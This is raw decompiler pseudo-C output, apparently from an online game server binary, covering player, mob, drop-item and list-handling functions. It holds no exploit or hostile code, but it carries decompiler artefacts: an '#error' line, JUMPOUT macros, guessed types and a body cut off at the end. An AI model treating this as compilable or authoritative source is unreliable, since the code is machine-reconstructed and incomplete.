{ *(_DWORD *)(v1 + 9017) = *(_DWORD *)(this + 9017); *(_DWORD *)(*(_DWORD *)(this + 9017) + 9013) = *(_DWORD *)(this + 9013); *(_DWORD *)(this + 9013) = this; *(_DWORD *)(this + 9017) = this; } ShineObjectClass::ShineObject::so_FreeFromList(this); } //----- (00529C00) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_FreeFromList(void *this) { int v1; // esi@1 v1 = (int)this; ShineObjectClass::ShinePlayer::sp_LogoutDuringParty(this); ShineObjectClass::ShineObject::so_FreeFromList(v1); } //----- (00529C10) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineObject::so_Reset_SlantedList(void *this) { void *v1; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_Reset_SlantedList"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_Reset_SlantedList"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; SlantedCoordList::CoordedNode::cn_Reset((SlantedCoordList::CoordedNode *)((char *)v1 + 22)); SlantedCoordList::CoordedNode::cn_Reset((SlantedCoordList::CoordedNode *)((char *)v1 + 34)); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_Reset_SlantedList"); } //----- (00529CB0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_SetDisposition(void *this, char state, char forceBroadcast) { void *v3; // esi@1 unsigned int v4; // eax@1 int v5; // eax@1 bool v6; // bl@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_SetDisposition"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_SetDisposition"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = clockwatch.cw_CurrTick + 200; *((_DWORD *)v3 + 35506) = 200; *((_DWORD *)v3 + 35505) = v4; v5 = *((_DWORD *)v3 + 8040); v6 = *(_BYTE *)(v5 + 171) != state; *(_BYTE *)(v5 + 171) = state; ShineObjectClass::ShinePlayer::sp_SendDisposition2WM(v3); ShineObjectClass::ShinePlayer::sp_SendDisposition2DB(v3); if ( v6 || forceBroadcast ) ShineObjectClass::ShinePlayer::sp_BroadcastDispositionInfo_(v3); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_SetDisposition"); } //----- (00529DA0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMob::smo_Returning(void *this) { void *v1; // esi@1 int v2; // eax@1 int v3; // eax@2 unsigned int v4; // edi@4 int v5; // edi@5 int v6; // eax@5 int v7; // ebx@5 int v8; // eax@5 int v9; // eax@5 __int16 v10; // cx@6 int v11; // eax@7 unsigned __int16 v12; // dx@7 unsigned __int16 v13; // bx@8 int v14; // esi@9 int v15; // ecx@9 bool v16; // cf@9 int v17; // esi@10 int v18; // [sp-18h] [bp-140h]@5 int v19; // [sp-14h] [bp-13Ch]@5 int v20; // [sp-10h] [bp-138h]@5 int v21; // [sp-Ch] [bp-134h]@5 int v22; // [sp-8h] [bp-130h]@5 int v23; // [sp-4h] [bp-12Ch]@5 FunctionEntarance _; // [sp+10h] [bp-118h]@1 ScriptInterrupt::InterruptHappenArgument arg; // [sp+14h] [bp-114h]@6 unsigned int v26; // [sp+118h] [bp-10h]@1 int v27; // [sp+124h] [bp-4h]@1 v1 = this; v26 = (unsigned int)&_ ^ __security_cookie; _.fe_FunctionCode = "ShineObjectClass::ShineMob::smo_Returning"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShineObjectClass::ShineMob::smo_Returning"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::smo_Returning"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *((_DWORD *)v1 + 1914); v27 = 0; if ( v2 ) { v3 = *(_DWORD *)(v2 + 4); if ( v3 ) { if ( *(_BYTE *)(v3 + 61) ) { v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1260))(v1); if ( (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1252))(v1) < v4 ) { v5 = *(_DWORD *)v1; v6 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1260))(v1); (*(void (__thiscall **)(void *, int))(v5 + 1248))(v1, v6); v7 = *(_DWORD *)((char *)v1 + 78); v23 = 65535; v22 = 0; v18 = (int)ShineObjectClass::ShineObject::so_ply_Send2WhoTargetMe; v19 = 0; v20 = 0; v21 = 0; v8 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v1, v8, v7, 0, 0, v18, v19, v20, v21, v22, v23); v9 = *(_DWORD *)((char *)v1 + 98); if ( v9 ) { v10 = *((_WORD *)v1 + 2); v23 = (int)&arg; *(_WORD *)&arg.npcclick.index[0] = v10; Movie::CinemaComplex::cc_ScriptInterrupt( *(Movie::CinemaComplex **)(v9 + 68), ScriptInterrupt::ScriptInterruptManager::sim_MobHPFull, &arg); } } } } } v11 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1320))(v1); v12 = *(_WORD *)(*(_DWORD *)(v11 + 3248) + 12 * *(_WORD *)(v11 + 3254) + 4); while ( 1 ) { v13 = *(_WORD *)(v11 + 3244); if ( v12 >= v13 ) break; v14 = *(_DWORD *)(v11 + 3248); v15 = v12; v16 = v12 < v13; v12 = *(_WORD *)(v14 + 12 * v12 + 4); if ( v16 && (v17 = v14 + 12 * v15, *(_BYTE *)(v17 + 8)) ) *(_DWORD *)(*(_DWORD *)v17 + 32) = clockwatch.cw_CurrTick; else ::v20 = clockwatch.cw_CurrTick; } --funcallanalizer.fca_stackpoint; v27 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineMob::smo_Returning"); __security_check_cookie((unsigned int)&_ ^ v26); } //----- (00529F80) -------------------------------------------------------- char __thiscall List::l_PushA(List *this, ShineObjectEachList *ele) { int v2; // eax@1 int v3; // eax@1 v2 = this->l_Finger.empty; JUMPOUT(v2, -1, Concurrency::_Order_node_base::reserve_message); v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocA)(v2); if ( !v3 ) JUMPOUT(*(int *)Concurrency::_Order_node_base::reserve_message); ShineObjectEachList::operator_(v3, (int)ele); return 1; } // 529F95: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (00529FB0) -------------------------------------------------------- int __thiscall ShineObjectEachList::operator_(int this, int a2) { int result; // eax@1 result = this; *(_WORD *)(this + 4) = *(_WORD *)(a2 + 4); *(_DWORD *)(this + 8) = *(_DWORD *)(a2 + 8); *(_DWORD *)(this + 12) = *(_DWORD *)(a2 + 12); *(_DWORD *)(this + 16) = *(_DWORD *)(a2 + 16); *(_WORD *)(this + 20) = *(_WORD *)(a2 + 20); *(_DWORD *)(this + 24) = *(_DWORD *)(a2 + 24); *(_DWORD *)(this + 28) = *(_DWORD *)(a2 + 28); return result; } //----- (00529FF0) -------------------------------------------------------- char __thiscall List::l_PushZ(List *this, ShineObjectEachList *ele) { int v2; // eax@1 int v3; // eax@1 v2 = this->l_Finger.empty; JUMPOUT(v2, -1, Concurrency::_Order_node_base::reserve_message); v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocZ)(v2); if ( !v3 ) JUMPOUT(*(int *)Concurrency::_Order_node_base::reserve_message); *(_WORD *)(v3 + 4) = ele->baseclass_0.l_MaxSize; *(_DWORD *)(v3 + 8) = ele->baseclass_0.l_Array; *(_DWORD *)(v3 + 12) = *(_DWORD *)&ele->baseclass_0.l_Finger.empty; *(_DWORD *)(v3 + 16) = ele->baseclass_0.l_ListArray; *(_WORD *)(v3 + 20) = ele->baseclass_0.l_ListNum; *(_DWORD *)(v3 + 24) = ele->nNextRecordTime; *(_DWORD *)(v3 + 28) = ele->nListNoCount; return 1; } // 52A006: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (0052A050) -------------------------------------------------------- char __thiscall List::l_PopA(List *this, ShineObjectEachList *ele) { ListStruct *v2; // edx@1 unsigned __int16 v3; // si@1 int v4; // eax@2 int v6; // eax@4 v2 = this->l_Array; v3 = v2[this->l_Finger.store].ls_Next; if ( v3 < this->l_MaxSize ) { v4 = (int)&v2[v3]; if ( !*(_BYTE *)(v4 + 8) ) return 0; v6 = *(_DWORD *)v4; ele->baseclass_0.l_MaxSize = *(_WORD *)(v6 + 4); ele->baseclass_0.l_Array = *(ListStruct **)(v6 + 8); *(_DWORD *)&ele->baseclass_0.l_Finger.empty = *(_DWORD *)(v6 + 12); ele->baseclass_0.l_ListArray = *(struct ListArray **)(v6 + 16); ele->baseclass_0.l_ListNum = *(_WORD *)(v6 + 20); ele->nNextRecordTime = *(_DWORD *)(v6 + 24); ele->nListNoCount = *(_DWORD *)(v6 + 28); ((void (__stdcall *)(unsigned __int16))this->vfptr->l_Free)(v3); } return 1; } //----- (0052A0C0) -------------------------------------------------------- char __thiscall List::l_PopZ(List *this, ShineObjectEachList *ele) { ListStruct *v2; // edx@1 unsigned __int16 v3; // si@1 int v4; // eax@2 int v6; // eax@4 v2 = this->l_Array; v3 = v2[this->l_Finger.store].ls_Prev; if ( v3 < this->l_MaxSize ) { v4 = (int)&v2[v3]; if ( !*(_BYTE *)(v4 + 8) ) return 0; v6 = *(_DWORD *)v4; ele->baseclass_0.l_MaxSize = *(_WORD *)(v6 + 4); ele->baseclass_0.l_Array = *(ListStruct **)(v6 + 8); *(_DWORD *)&ele->baseclass_0.l_Finger.empty = *(_DWORD *)(v6 + 12); ele->baseclass_0.l_ListArray = *(struct ListArray **)(v6 + 16); ele->baseclass_0.l_ListNum = *(_WORD *)(v6 + 20); ele->nNextRecordTime = *(_DWORD *)(v6 + 24); ele->nListNoCount = *(_DWORD *)(v6 + 28); ((void (__stdcall *)(unsigned __int16))this->vfptr->l_Free)(v3); } return 1; } //----- (0052A130) -------------------------------------------------------- #error "52A130: undefined or illegal type '#593' (funcsize=88)" //----- (0052A250) -------------------------------------------------------- void __thiscall List::l_Clear(List *this) { int (__stdcall **eraser)(int, __int16); // [sp+0h] [bp-14h]@1 List *v2; // [sp+4h] [bp-10h]@1 int v3; // [sp+10h] [bp-4h]@1 eraser = &ListEraser::_vftable_; v2 = this; v3 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&eraser); } // 632E04: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, __int16 handle); //----- (0052A2A0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_FirstActionAfterSocketConnect(void *this) { void *v1; // ebp@1 char v2; // cl@1 int v3; // edx@1 int v4; // esi@1 CParty::PARTY_SLOT *v5; // eax@1 int v6; // edx@1 ListIteratorDefault arg; // [sp+1Ch] [bp-14h]@1 char *v8; // [sp+20h] [bp-10h]@1 int v9; // [sp+2Ch] [bp-4h]@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_FirstActionAfterSocketConnect"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_FirstActionAfterSocketConnect"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v9 = 0; ShineObjectClass::ShineMobileObject::so_FirstActionAfterSocketConnect(v1); v2 = *((_BYTE *)v1 + 23352) & 0xBB; *((_BYTE *)v1 + 23353) &= 0xFCu; v3 = *(_DWORD *)v1; *((_BYTE *)v1 + 23352) = v2; *((_BYTE *)v1 + 143664) = 0; *((_DWORD *)v1 + 34903) = ShineObjectClass::ShinePlayer::sp_NoAdmin; *(_WORD *)((char *)v1 + 32281) = -1; *(_DWORD *)((char *)v1 + 139618) = 0; *((_BYTE *)v1 + 139622) = 0; (*(void (__thiscall **)(void *, _DWORD))(v3 + 2736))(v1, 0); ListCheckStruct::lcs_Init((ListCheckStruct *)((char *)v1 + 62), &ShineObjectClass::ShineObject::so_SlantedListChecker); *((_DWORD *)v1 + 17139) = clockwatch.cw_CurrTick; *((_DWORD *)v1 + 7978) = (char *)v1 + 23704; *((_DWORD *)v1 + 894) = -1; *((_DWORD *)v1 + 893) = -1; v4 = *(_DWORD *)v1; *((_DWORD *)v1 + 1796) = 0; *((_DWORD *)v1 + 35098) = ShineObjectClass::ShineMobileObject::smo_ChineCastCut; *((_DWORD *)v1 + 16537) = ShineObjectClass::ShineMobileObject::smo_ChineCastCut; *((_DWORD *)v1 + 16535) = ShineObjectClass::ShineMobileObject::smo_ChineCastCut; *((_DWORD *)v1 + 7977) = &ShineObjectClass::ShineObject::so_dummypacketcontainer; v5 = CParty::p_defaultslot(&partycontainer); (*(void (__thiscall **)(void *, CParty::PARTY_SLOT *))(v4 + 1908))(v1, v5); (*(void (__thiscall **)(void *, _DWORD))(*(_DWORD *)v1 + 2752))(v1, 0); memcpy( (void *)(*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1180))(v1), &ShineObjectClass::ShineObject::so_emptyabstate, 0x4Du); Parameter::Container::c_clear((int)((char *)v1 + 3860)); BitSet::bs_clear((BitSet *)((char *)v1 + 139627)); CQuestZone::InitNewPlayer((CQuestZone *)((char *)v1 + 66176)); memcpy((char *)v1 + 142688, &ShineObjectClass::ShineObject::so_ChargedEffectContainerClear, 0x2Cu); v6 = *(_DWORD *)v1; *((_WORD *)v1 + 71366) = *(_WORD *)&ShineObjectClass::ShineObject::so_ChargedEffectContainerClear.cec_StorageAnywhere; (*(void (__thiscall **)(void *, _DWORD))(v6 + 2076))(v1, 0); (*(void (__thiscall **)(void *, _DWORD))(*(_DWORD *)v1 + 2080))(v1, 0); (*(void (__thiscall **)(void *, _DWORD))(*(_DWORD *)v1 + 2144))(v1, 0); (*(void (__thiscall **)(void *, _DWORD))(*(_DWORD *)v1 + 2148))(v1, 0); *((_DWORD *)v1 + 35793) = 0; *((_DWORD *)v1 + 35794) = CGambleObject::GDTSO_GetGameStatus; *((_DWORD *)v1 + 35797) = ShineObjectClass::ShineObject::so_mh_PortalOpen; *((_DWORD *)v1 + 35796) = 0; *((_BYTE *)v1 + 7428) &= 0xFEu; *((_BYTE *)v1 + 23690) = -1; *((_BYTE *)v1 + 23689) = 99; arg.vfptr = (ListIteratorDefaultVtbl *)&ListEraser::_vftable_; v8 = (char *)v1 + 143228; LOBYTE(v9) = 1; List::l_4AllInList((List *)((char *)v1 + 143228), &arg); LOBYTE(v9) = 0; arg.vfptr = (ListIteratorDefaultVtbl *)&ListIteratorDefault::_vftable_; *((_DWORD *)v1 + 35827) = &ShineObjectClass::ShineObject::so_CostumWeaponChargeing; ProtocolLogger::pl_Clear((ProtocolLogger *)((char *)v1 + 143316)); (*(void (__thiscall **)(void *, _DWORD))(*(_DWORD *)v1 + 376))(v1, 0); (*(void (__thiscall **)(void *, _DWORD))(*(_DWORD *)v1 + 2944))(v1, 0); *((_DWORD *)v1 + 35897) = 0; *((_BYTE *)v1 + 143592) = 0; *((_DWORD *)v1 + 35899) = 0; *((_DWORD *)v1 + 36030) = 0; *((_DWORD *)v1 + 36029) = 0; *((_DWORD *)v1 + 36028) = 0; strncpy((char *)v1 + 144112, byte_635E1E, 0xCu); *((_DWORD *)v1 + 36031) = 0; *((_DWORD *)v1 + 36032) = 0; --funcallanalizer.fca_stackpoint; v9 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_FirstActionAfterSocketConnect"); } // 632E04: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, __int16 handle); // 64292C: using guessed type int (__stdcall *ListIteratorDefault_AbnormalStateContainer__AbstateElementInObject____vftable_)(int ele, __int16 handle); // 6B64E0: using guessed type int (__stdcall **ShineObjectClass__ShineObject__so_dummypacketcontainer)(int itm); // 130BD958: using guessed type struct ItemTotalInformation ShineObjectClass__ShineObject__so_CostumWeaponChargeing; // 130BDA44: using guessed type struct ChargedEffectContainer ShineObjectClass__ShineObject__so_ChargedEffectContainerClear; //----- (0052A550) -------------------------------------------------------- std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::find(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, const unsigned int *_Keyval) { std::_Tree_nod,std::allocator,0> >::_Node *v3; // edx@1 std::_Tree_nod,std::allocator,0> >::_Node *v4; // eax@1 std::_Tree,std::allocator,0> >::iterator *v5; // eax@8 v3 = this->_Myhead; v4 = v3->_Parent; while ( !v4->_Isnil ) { if ( v4->_Myval >= *_Keyval ) { v3 = v4; v4 = v4->_Left; } else { v4 = v4->_Right; } } if ( v3 == this->_Myhead || *_Keyval < v3->_Myval ) { v5 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = this->_Myhead; } else { v5 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v3; } return v5; } //----- (0052A5C0) -------------------------------------------------------- void __thiscall List::l_MakeList(List *this, unsigned __int16 size) { List *v2; // esi@1 void *v3; // eax@3 signed int v4; // eax@4 int v5; // ecx@4 signed int v6; // eax@6 int v7; // ecx@7 unsigned __int16 v8; // ax@9 ListStruct *v9; // edi@9 int v10; // eax@9 v2 = this; this->l_MaxSize = size; if ( size == -1 ) { this->l_Array = 0; } else { v3 = operator new__(12 * (size + 1)); v2->l_Array = (ListStruct *)v3; if ( v3 ) { v4 = 0; v5 = 0; do { v2->l_Array[v5].ls_Content = 0; ++v4; ++v5; } while ( v4 <= v2->l_MaxSize ); v6 = 0; if ( v2->l_MaxSize > 0u ) { v7 = 0; do { v2->l_Array[v7].ls_Prev = v6 - 1; v2->l_Array[v7].ls_Next = v6 + 1; v2->l_Array[v7].ls_IsActiv = 0; ++v6; ++v7; } while ( v6 < v2->l_MaxSize ); } v2->l_Array->ls_Prev = v2->l_MaxSize - 1; *((_WORD *)&v2->l_Array[v2->l_MaxSize] - 4) = 0; v8 = v2->l_MaxSize; v9 = v2->l_Array; v2->l_Finger.store = v8; v2->l_Finger.empty = 0; v9[v8].ls_Prev = v8; v10 = (int)&v2->l_Array[v2->l_MaxSize]; *(_WORD *)(v10 + 4) = *(_WORD *)(v10 + 6); v2->l_Array[v2->l_MaxSize].ls_Content = 0; v2->l_Array[v2->l_MaxSize].ls_IsActiv = 1; v2->l_ListNum = 0; List::l_Clear(v2); } } } //----- (0052A6E0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineObject::LuaAi::_LuaAi(GuildTournamentSystem::PortalInfo *this) { GuildTournamentSystem::PortalInfo *v1; // esi@1 v1 = this; if ( this->m_strNormalType._Myres >= 0x10 ) operator delete(*(void **)&this->m_strNormalType._Bx._Buf[0]); v1->m_strNormalType._Myres = 15; v1->m_strNormalType._Mysize = 0; v1->m_strNormalType._Bx._Buf[0] = 0; if ( v1->m_strBType._Myres >= 0x10 ) operator delete(*(void **)&v1->m_strBType._Bx._Buf[0]); v1->m_strBType._Myres = 15; v1->m_strBType._Mysize = 0; v1->m_strBType._Bx._Buf[0] = 0; if ( v1->m_strAType._Myres >= 0x10 ) operator delete(*(void **)&v1->m_strAType._Bx._Buf[0]); v1->m_strAType._Mysize = 0; v1->m_strAType._Myres = 15; v1->m_strAType._Bx._Buf[0] = 0; } //----- (0052A7B0) -------------------------------------------------------- ShineRTTI *__cdecl ShineObjectClass::ShineObject::GetRTTI() { return &ShineObjectClass::ShineObject::m_RTTI; } //----- (0052A7C0) -------------------------------------------------------- int __thiscall CGambleObject::GDTSO_GetGameStatus(ItemAttrCls_ByteLot *this) { return 0; } //----- (0052A7D0) -------------------------------------------------------- CharacterInventory *__cdecl ShineObjectClass::ShineObject::so_ItemInventory() { return &ShineObjectClass::ShineObject::so_defiteminven; } //----- (0052A7E0) -------------------------------------------------------- _UNKNOWN *__cdecl ShineObjectClass::ShineObject::so_TradeStructure() { return &ShineObjectClass::ShineObject::so_deftradestr; } //----- (0052A7F0) -------------------------------------------------------- AllOfRangeArgument *__cdecl ShineObjectClass::ShineObject::so_TradeBoard() { return &ShineObjectClass::ShineObject::so_deftradebrd; } //----- (0052A800) -------------------------------------------------------- CharClassManager *__cdecl ShineObjectClass::ShineObject::so_CharacterClass() { return &charclassmanager; } //----- (0052A810) -------------------------------------------------------- SpyNet::EspionageAgent *__cdecl ShineObjectClass::ShineObject::so_SpyAgent() { return &ShineObjectClass::ShineObject::so_spy; } //----- (0052A820) -------------------------------------------------------- AbnormalStateContainer::AbstateListInObject *__cdecl ShineObjectClass::ShineObject::so_mobile_AbstateList() { return &ShineObjectClass::ShineObject::so_defabstatelist; } //----- (0052A840) -------------------------------------------------------- signed int __cdecl ShineObjectClass::ShineObject::so_ply_SilverWingCoolTime() { return 3600000; } //----- (0052A850) -------------------------------------------------------- DiceTaiSai *__cdecl ShineObjectClass::ShineObject::so_PacketEncryptClass() { return &ShineObjectClass::ShineObject::so_PacketEncrypt; } //----- (0052A860) -------------------------------------------------------- _UNKNOWN *__cdecl ShineObjectClass::ShineObject::so_extradata() { return &ShineObjectClass::ShineObject::so_defextdata; } //----- (0052A870) -------------------------------------------------------- _UNKNOWN *__cdecl ShineObjectClass::ShineObject::so_CharName() { return &ShineObjectClass::ShineObject::so_defname; } //----- (0052A880) -------------------------------------------------------- int (__stdcall ***__cdecl ShineObjectClass::ShineObject::so_GetDataSocketStream())(int) { return &ShineObjectClass::ShineObject::so_dummypacketcontainer; } // 6B64E0: using guessed type int (__stdcall **ShineObjectClass__ShineObject__so_dummypacketcontainer)(int itm); //----- (0052A890) -------------------------------------------------------- char __cdecl ShineObjectClass::ShineObject::so_ObjectType() { return -1; } //----- (0052A8A0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineObject::so_mob_DataBoxforQuest(void *this, int a2) { return (*(int (**)(void))(*(_DWORD *)this + 1796))(); } //----- (0052A8B0) -------------------------------------------------------- signed int __cdecl ShineObjectClass::ShineObject::so_mob_Race() { return 46; } //----- (0052A8C0) -------------------------------------------------------- __int16 __cdecl ShineObjectClass::ShineObject::so_WalkSpeed() { return 0; } //----- (0052A8D0) -------------------------------------------------------- int __cdecl ShineObjectClass::ShineObject::so_LoginLocation() { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_LoginLocation", 0); return 0; } //----- (0052A8F0) -------------------------------------------------------- int __thiscall ItemAttributeClass::iac_SetDeteleDateTime(ItemAttributeClass *this, ItemTotalInformation *iti, unsigned __int16 nAddEndureTime, unsigned __int16 nMaxEndure, tm *dCurTime) { return 0; } //----- (0052A900) -------------------------------------------------------- signed __int16 __thiscall ShineObjectClass::ShineObject::so_RemakeHandle(void *this, unsigned __int16 handle) { void *sohu; // [sp+0h] [bp-10h]@1 int v4; // [sp+Ch] [bp-4h]@1 sohu = this; MoveManager::MoveManager((DiceTaiSai *)&sohu); v4 = 0; AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_RemakeHandle", handle); v4 = -1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&sohu); return -1; } //----- (0052A960) -------------------------------------------------------- _UNKNOWN *__cdecl ShineObjectClass::ShineObject::so_Getabstatebit() { return &ShineObjectClass::ShineObject::so_defabstatebit; } //----- (0052A970) -------------------------------------------------------- int __cdecl ShineObjectClass::ShineObject::so_drpitm_itemview() { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_itemview", 0); return 0; } //----- (0052A990) -------------------------------------------------------- void __cdecl ShineObjectClass::ShineObject::so_itempicked() { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_itempicked", 0); } //----- (0052A9B0) -------------------------------------------------------- _UNKNOWN *__cdecl ShineObjectClass::ShineObject::so_parameter() { return &ShineObjectClass::ShineObject::so_defaultparam; } //----- (0052A9C0) -------------------------------------------------------- double __stdcall ShineObjectClass::ShineObject::so_AbnormalState_RestSec(int abstate) { return -1.0; } //----- (0052A9D0) -------------------------------------------------------- CCharacterTitleZone *__cdecl ShineObjectClass::ShineObject::so_GetCharacterTitle() { return &ShineObjectClass::ShineObject::so_DefCharTitle; } //----- (0052A9E0) -------------------------------------------------------- _UNKNOWN *__cdecl ShineObjectClass::ShineObject::so_GetStatDistStr() { return &ShineObjectClass::ShineObject::so_StatDistStr; } //----- (0052A9F0) -------------------------------------------------------- InventoryLocking::InventoryCellLock *__cdecl ShineObjectClass::ShineObject::so_ply_GetInventoryLockList() { return &ShineObjectClass::ShineObject::so_definvlocklist; } //----- (0052AA00) -------------------------------------------------------- int __cdecl ShineObjectClass::ShineObject::so_mobile_GetIdxName() { return (int)byte_635E1E; } //----- (0052AA10) -------------------------------------------------------- struct ChargedEffectContainer *__cdecl ShineObjectClass::ShineObject::so_ply_ChargedEffectContainer() { return &ShineObjectClass::ShineObject::so_ChargedEffectContainerClear; } // 130BDA44: using guessed type struct ChargedEffectContainer ShineObjectClass__ShineObject__so_ChargedEffectContainerClear; //----- (0052AA20) -------------------------------------------------------- signed __int16 __cdecl ShineObjectClass::ShineObject::so_mobile_GetHPChangeOrder() { return 255; } //----- (0052AA30) -------------------------------------------------------- ShineCommonParameter::FreeStatStr *__cdecl ShineObjectClass::ShineObject::so_ply_FreeStatStr() { return *shineparam.scp_param.freestatStr; } //----- (0052AA40) -------------------------------------------------------- ShineCommonParameter::FreeStatInt *__cdecl ShineObjectClass::ShineObject::so_ply_FreeStatInt() { return *shineparam.scp_param.freestatInt; } //----- (0052AA50) -------------------------------------------------------- ShineCommonParameter::FreeStatDex *__cdecl ShineObjectClass::ShineObject::so_ply_FreeStatDex() { return *shineparam.scp_param.freestatDex; } //----- (0052AA60) -------------------------------------------------------- ShineCommonParameter::FreeStatCon *__cdecl ShineObjectClass::ShineObject::so_ply_FreeStatCon() { return *shineparam.scp_param.freestatCon; } //----- (0052AA70) -------------------------------------------------------- ShineCommonParameter::FreeStatMen *__cdecl ShineObjectClass::ShineObject::so_ply_FreeStatMen() { return *shineparam.scp_param.freestatMen; } //----- (0052AA80) -------------------------------------------------------- _UNKNOWN *__cdecl ShineObjectClass::ShineObject::so_MiscTable() { return &ShineObjectClass::ShineObject::so_MiscTableDef; } //----- (0052AA90) -------------------------------------------------------- signed __int16 __cdecl ShineObjectClass::ShineObject::so_getDetectRange() { return 1000; } //----- (0052AAA0) -------------------------------------------------------- __int64 __cdecl ShineObjectClass::ShineObject::so_ply_CurrentExp() { return 0i64; } //----- (0052AAB0) -------------------------------------------------------- void __stdcall ShineObjectClass::ShineObject::so_npc_SetLocation(int MapName, int MapName_4, int MapName_8, int X, int Y, int Dir) { unsigned int v6; // [sp+0h] [bp-4h]@1 v6 = (unsigned int)&v6 ^ __security_cookie; __security_check_cookie((unsigned int)&v6 ^ (unsigned int)&v6 ^ __security_cookie); } //----- (0052AAD0) -------------------------------------------------------- char __cdecl ShineObjectClass::ShineObject::so_PacketBufferFlush() { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_PacketBufferFlush"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_PacketBufferFlush"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_PacketBufferFlush"); return 1; } //----- (0052AB20) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineDropItem::_ShineDropItem(ShineObjectClass::ShineDropItem *this) { *(_DWORD *)&this->gap0[0] = &ShineObjectClass::ShineDropItem::_vftable_; ShineObjectClass::ShineObject::_ShineObject(this); } // 52A750: using guessed type int __thiscall ShineObjectClass__ShineObject___ShineObject(_DWORD); // 663920: using guessed type int (*ShineObjectClass__ShineDropItem___vftable_)(); //----- (0052AB30) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineDropItem::so_FillBriefInformation(ShineObjectClass::ShineDropItem *this, void *array) { PROTO_NC_BRIEFINFO_DROPEDITEM_CMD *v2; // eax@1 v2 = this->sdi_ItemBriefInfo.bidi_BriefInfo; *(_DWORD *)array = *(_DWORD *)&v2->handle; *((_DWORD *)array + 1) = v2->location.x; *((_DWORD *)array + 2) = v2->location.y; *((_WORD *)array + 6) = v2->dropmobhandle; *((_BYTE *)array + 14) = v2->attr._bf0; } //----- (0052AB60) -------------------------------------------------------- PROTO_NC_CHAR_BASE_CMD::LoginLocation *__thiscall ShineObjectClass::ShineDropItem::so_LoginLocation(ShineObjectClass::ShineDropItem *this) { return &this->sdi_loginloc; } //----- (0052AB70) -------------------------------------------------------- unsigned __int16 __thiscall ShineObjectClass::ShineDropItem::so_RemakeHandle(ShineObjectClass::ShineDropItem *this, unsigned __int16 handle) { ShineObjectClass::ShineDropItem *sohu; // [sp+0h] [bp-4h]@1 sohu = this; MoveManager::MoveManager((DiceTaiSai *)&sohu); LOWORD(sohu) = 8 * handle | 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&sohu); return 8 * handle | 1; } //----- (0052ABB0) -------------------------------------------------------- ItemTotalInformation *__thiscall ShineObjectClass::ShineDropItem::so_drpitm_itemview(ShineObjectClass::ShineDropItem *this) { return 